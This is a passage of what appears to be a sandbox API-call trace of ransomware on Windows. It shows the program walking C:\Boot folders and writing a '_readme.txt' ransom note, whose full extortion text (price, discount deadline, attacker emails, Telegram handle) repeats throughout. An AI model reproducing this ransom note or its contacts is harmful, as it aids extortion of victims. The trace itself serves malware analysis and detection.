software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.815] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.816] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.816] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0112.816] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.816] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.816] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.816] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.816] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0112.816] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.816] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.816] PathFindFileNameW (pszPath="") returned="" [0112.816] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.817] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.817] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.817] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.817] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0112.817] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0112.817] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.817] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.817] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.817] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.817] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0112.817] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.817] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.818] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.818] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.818] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0112.818] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.818] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.818] PathFindFileNameW (pszPath="") returned="" [0112.818] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.818] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.818] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.818] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.818] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0112.818] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0112.818] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.819] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.819] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.819] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.819] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0112.819] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.819] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.819] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.819] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.819] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0112.819] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.819] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.819] PathFindFileNameW (pszPath="") returned="" [0112.819] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.820] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.820] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.820] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.820] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0112.820] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0112.820] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.820] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.820] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.820] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3b2fba4 | out: 